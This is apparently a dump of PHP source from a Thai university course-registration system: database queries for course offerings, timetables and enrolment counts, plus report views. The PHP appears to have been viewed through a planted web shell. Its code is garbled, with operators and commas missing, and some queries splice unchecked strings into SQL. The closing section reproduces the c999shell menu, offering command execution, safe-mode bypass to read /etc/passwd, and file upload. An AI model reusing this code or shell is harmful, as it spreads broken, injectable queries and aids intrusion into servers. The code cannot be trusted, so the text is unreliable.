                    FROM $this->rg_dbname.rg_CourseOpen
                    LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                    LEFT JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                    LEFT JOIN $this->rg_dbname.rg_Curriculum ON curId=coCurId
                    LEFT JOIN $this->rg_dbname.rg_Course ON crsId =coCrsId
                    WHERE coCurId IS NULL
                    AND coAcY=?
                    AND coSyId=?
                    AND coTmId=?
                    AND ttWdAcYWeekNo=?
                    AND ? BETWEEN ttPrdFrTime AND ttPrdToTime
                    AND cofCurId=?
                    GROUP BY coSyId"
;
        
$query $this->db->query($sql, array($curId$acY$syId$tmId$wkNo$pr$acY$syId$tmId$wkNo$pr$curId));
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน และหลักสูตร ในกรณีที่ไม่ใช่วิชาที่เป็นเรียนรวม ตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows: rg_CourseOpen.*, rg_Curriculum.*
     * @todo    use
     */
    
function qryCoJoinCur($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId=curId
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
// ***** Start TIMETABLE *****
    
function qryCoByClIdStrPrsIdIsNull($clIdStr) {
        
$sql "SELECT * FROM $this->rg_dbname.rg_CourseOpen 
                    WHERE coId IN ($clIdStr) 
                    AND coPrsId IS NULL"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
qryCoByClIdStrNotPrsId($clIdStr$prsId) {
        
$sql "SELECT * FROM $this->rg_dbname.rg_CourseOpen 
                    WHERE coId IN ($clIdStr) 
                    AND coPrsId <> ?"
;
        
$query $this->db->query($sql, array($prsId));
        return 
$query;
    }
    
// ***** End TIMETABLE *****

    /**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่เปิดสอน รายวิชาเรียนรวม ตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows: rg_CourseOpen.*, rg_CourseOpenFor.*, rg_Course.*
     * @todo    use
     */
    
function qryCoJoinCofCrs($condition="",$order="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                INNER JOIN $this->rg_dbname.rg_CourseOpenFor ON coId=cofCoId
                INNER JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                $c1
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ สำหรับรายงาน rptRis109
     *
     * @access    public
     * @param    coId
     * @return        query 
     * @todo    use
     */
    
function qryForRis109($coId) {
        
$sql "SELECT * 
                FROM $this->rg_dbname.rg_CourseOpen                
                LEFT JOIN $this->rg_dbname.rg_Course ON coCrsId=crsId
                LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                LEFT JOIN $this->rg_dbname.rg_Day ON ttDyId=dyId
                WHERE coId=?
                "
;
        
$query $this->db->query($sql, array($coId));
        return 
$query;
    }

     function 
qryForRis110($coId) {

        
$sql "SELECT * 
                 FROM $this->rg_dbname.rg_CourseOpen 
                 INNER JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId 
                 LEFT JOIN $this->rg_dbname.rg_Curriculum ON coCurId = curId
                 LEFT JOIN $this->ppc_dbname.Level ON curElvId = levelId
                 WHERE coId=?"
;
        
$query $this->db->query($sql, array($coId));
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาปีการศึกษาที่มีการกำหนดรายวิชาที่เปิดสอน
     *
     * @access    public
     * @return    query
     * @todo    use
     */
    
public function qryCoGrpCoAcY() {
        
$sql "SELECT coAcY
                FROM $this->rg_dbname.rg_CourseOpen
                GROUP BY coAcY"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    public function 
get_optionsGrpCoAcY($optional='y') {
        
$query $this->qryCoGrpCoAcY();
        if(
$optional=='y'$opt[''] = '';
        foreach(
$query->result() as $row) {
            
$opt[$row->coAcY] = $row->coAcY;
        }
        return 
$opt;
    }

    
//use
    
public function getNumBySex($coId$sex) {
        
$sql "SELECT COUNT(sdtStdId) AS num 
                    FROM $this->rg_dbname.rg_RegistDetails 
                    INNER JOIN $this->rg_dbname.rg_StudentDetails ON rdStdId = sdtStdId
                    INNER JOIN $this->rg_dbname.rg_Student ON rdStdId = stdId
                    WHERE rdCoId = ? 
                    AND sdtSex = ?"
;
        
$query $this->db->query($sql, array($coId$sex));
//AND stdSstId = 1    
        
if ($query->num_rows()) {
            return 
$query->row()->num;
        } else {
            return 
0;
        }
    }
}
?>application/views/0040777000000000000000000000000013435160355011461 5ustar00application/views/eregis/0040777000000000000000000000000013435160371012735 5ustar00application/views/eregis/v_rptRis109.php0100777000000000000000000001243613435156622015522 0ustar00<table width="100%" align="center">
    <tr>
        <td>
            <div align="center"><br>
            <?php echo form_open($this->config->item("rg_folder")."rpt_regis/showRptRis106", array("name" => "myform""id" => "myform"));?>
            <table width="100%">
            <tr>
                <td align="center"><font class="h">รายวิชาที่สอน</font></td>
            </tr>
            <tr>
                <td><br /></td>
            </tr>
            <tr>
                <td>
                <table class="szone">
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td width="100" height="22"><font size="2" ><strong>ปีการศึกษา</strong></font></td>
                    <td width="250"><font size="2" ><strong>:</strong> <?php echo $acY;?></font></td>
                    <td width="100"><font size="2" ><strong>ภาคการศึกษา</strong></font></td>
                    <td width="250"><font size="2" ><strong>:</strong> <?php echo $tmId;?></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td height="22"><font size="2" ><strong>รหัสรายวิชา</strong></font></td>
                    <td><font size="2" ><strong>:</strong> *<?php echo $courseCode;?>*</font></td>
                    <td><font size="2" ><strong>กลุ่มเรียน</strong></font></td>
                    <td><font size="2" ><strong>:</strong> <?php echo $section;?></font></td>
                </tr>    
                <tr>
                    <td height="22" colspan="4"></td>
                </tr>
                </table>
                </td></tr>
                <tr>
                    <td colspan="4">
                    <table width="100%" class="headCol">
                        <tr bgcolor="<?=$this->config->item("rg_table_color")?>">
                            <th width="12%" height="22" align="center"><font size="2" color="<?=$font_color_table;?>"><strong>รหัสรายวิชา</strong></font></th>
                            <th width="40%" align="center"><font size="2" color="<?=$font_color_table;?>"><strong>ชื่อรายวิชา</strong></font></th>
                            <th width="38%" align="center"><font size="2" color="<?=$font_color_table;?>"><strong>ชื่ออาจารย์ผู้สอน</strong></font></th>
                            <th width="10%" align="center"><font size="2" color="<?=$font_color_table;?>"><strong>พิมพ์</strong></font></th>
                        </tr>
<?php 
                        $i 
0;
                        if(
$rs_co->num_rows()) {
                            foreach(
$rs_co->result() as $row) {        

                            
$pgNames '';  
                            if(
is_null($row->coCurId)) {
                            
                                
$k 0;
                                                    
                                
$cofCon = array('cofCoId' => $row->coId);
                                
$rs_cof $cof->qryCofJoinCur($cofCon);    
                                if(
$rs_cof->num_rows()) {
                                    foreach(
$rs_cof->result() as $row) {            
                                        if(
$k == 0)
                                            
$pgNames $row->curName;
                                        else
                                            
$pgNames .= '<br>&nbsp;'.$row->curName;
                                        
                                        
$k++;                            
                                    
                                    }
                                }                            
                            }    else {
                                
                                
$cur->curId $row->coCurId;
                                
$qu_cur $cur->get_by_key();
                                if(
$qu_cur->num_rows()) { 
                                    
$row_cur $qu_cur->row();
                                
                                    
$pgNames $row_cur->curName;
                                }
                            }

                            if((
$i%2) == 0)
                                echo 
"<tr>";
                            else
                                echo 
"<tr bgcolor=\"".$tr_color_even."\"  height=22>";
?>
                            <td height="22"><font size="2" ><?php echo (isset($row->crsCode)) ? $row->crsCode '' ;?></font></td>
                            <td><font size="2" >[<strong>กลุ่มที่ <?=$row->coSection;?></strong>]<br /><?php echo (isset($row->crsName)) ? $row->crsName '';?></font><br>
                            <font size="2" color="<?=$font_color_err;?>"><?php echo '['.$pgNames.']';?></font></td>
                            <td><font size="2" >
<?php  
                            $j 
0;
                            
$ttbCon = array('ttCoId' => ((isset($row->coId)) ? $row->coId ''));
                            
$ttbGroup = array('ttPrsId' => 'ttPrsId');
                            
$rs_tt $ttb->qryTtJoinPeopleCenter($ttbCon,'',$ttbGroup);            
                            if(
$rs_tt->num_rows() > 0) {
                                foreach(
$rs_tt->result() as $rowtt) {            
                                    if(
$j != 0) echo '<br>';
                                    echo 
$rowtt->prefixName.$rowtt->fName.' '.$rowtt->lName;                                
                                    
$j++;                
                                }
                            }                            
?>
                            </font></td>
                            <td align="center">
                            <?php
                                
echo anchor_popup($this->config->item("rg_folder")."rpt_regis/RptRis109/".((isset($row->coId)) ? $row->coId '0')."/".$acY."/".$tmId."/".((isset($row->coCurId)) ? $row->coCurId '0')."/P""<img src=\"".base_url().$this->config->item("rg_pdf")."\" width=\"18\" height=\"18\" align=\"abmiddle\" border=\"0\" height=\"ส่งออกเป็น PDF\" />", array("width" => "700""height" => "500"));
                                echo 
' | ';
                                echo 
anchor_popup($this->config->item("rg_folder")."rpt_regis/RptRis109/".((isset($row->coId)) ? $row->coId '0')."/".$acY."/".$tmId."/".((isset($row->coCurId)) ? $row->coCurId '0')."/E""<img src=\"".base_url().$this->config->item("rg_excel_exp")."\" width=\"18\" height=\"18\" align=\"abmiddle\" border=\"0\" height=\"ส่งออกเป็น Excel\" />", array("width" => "700""height" => "500"));
                            
?>
                            </td>
                        </tr>
<?php
                            $i
++;
                        }
                    }
                        
                        if(
$i == 0) {
?>
                        <tr>
                            <td colspan="4" align="center"><span class="error" >** ไม่ปรากฏรายวิชาที่สอนในฐานข้อมูล **</span></td>
                        </tr>
<?php
                        
}
?>
                    </table>                    
                    </td>
                </tr>                                                                                        
            </table>
            
        <?php echo form_close();?>
        </div>
        </td>
    </tr>
</table>application/views/eregis/v_searchRptRis109.php0100777000000000000000000000476013435140133016637 0ustar00<table width="100%" align="center">
    <tr>
        <td>
            <div align="center">
            <table width="100%" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
                    <td colspan="3" align="center"><span class="h error">รายชื่อนักศึกษาในรายวิชาที่สอน</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td>
<?php                echo form_open($this->config->item("rg_folder")."rpt_regis/showRptRis109", array("name" => "myform""id" => "myform"));
?>
                    <table class="szone">
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td class="coltd_szone">ปีการศึกษา</td>
                        <td><input type="text" name="acY" id="acY" value="<?php echo set_value('acY',$acY);?>" size="5" maxlength="4" class="required-int" >
                        <span class="error">* <?php echo form_error('acY');?></span>
                        </td>                            
                    </tr>
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">ภาคการศึกษา</td>
                            <td>
<?php
                            
echo form_dropdown('tmId'$rs_tmset_value('tmId',$tmId));
?>
                        </td>
                    </tr>    
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td class="coltd_szone">รหัสรายวิชา</td>
                        <td><input type="text" name="courseCode" id="courseCode" value="<?php echo set_value('courseCode');?>"  size="10" maxlength="11" >
                        <span class="error">* <?php echo form_error('courseCode');?></span>
                        </td>                            
                    </tr>        
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td class="coltd_szone">กลุ่มเรียน</td>
                        <td><input type="text" name="section" id="section" size="3" maxlength="2" value="<?php echo set_value('section');?>" class="required-int">
                        <span class="error">* ใส่ 0 หากต้องการแสดงทุกกลุ่ม <?php echo form_error('section');?></span>
                        </td>                            
                    </tr>                
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td align="center" colspan="3">
                        <input type="submit" name="submit" value="ตกลง" onClick="return checkFormat()">
                        <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                        </td>
                    </tr>
                    </table><?php echo form_close();?></td>
                </tr>
            </table></div>
        <br><span class="error"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</span></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0343 ]--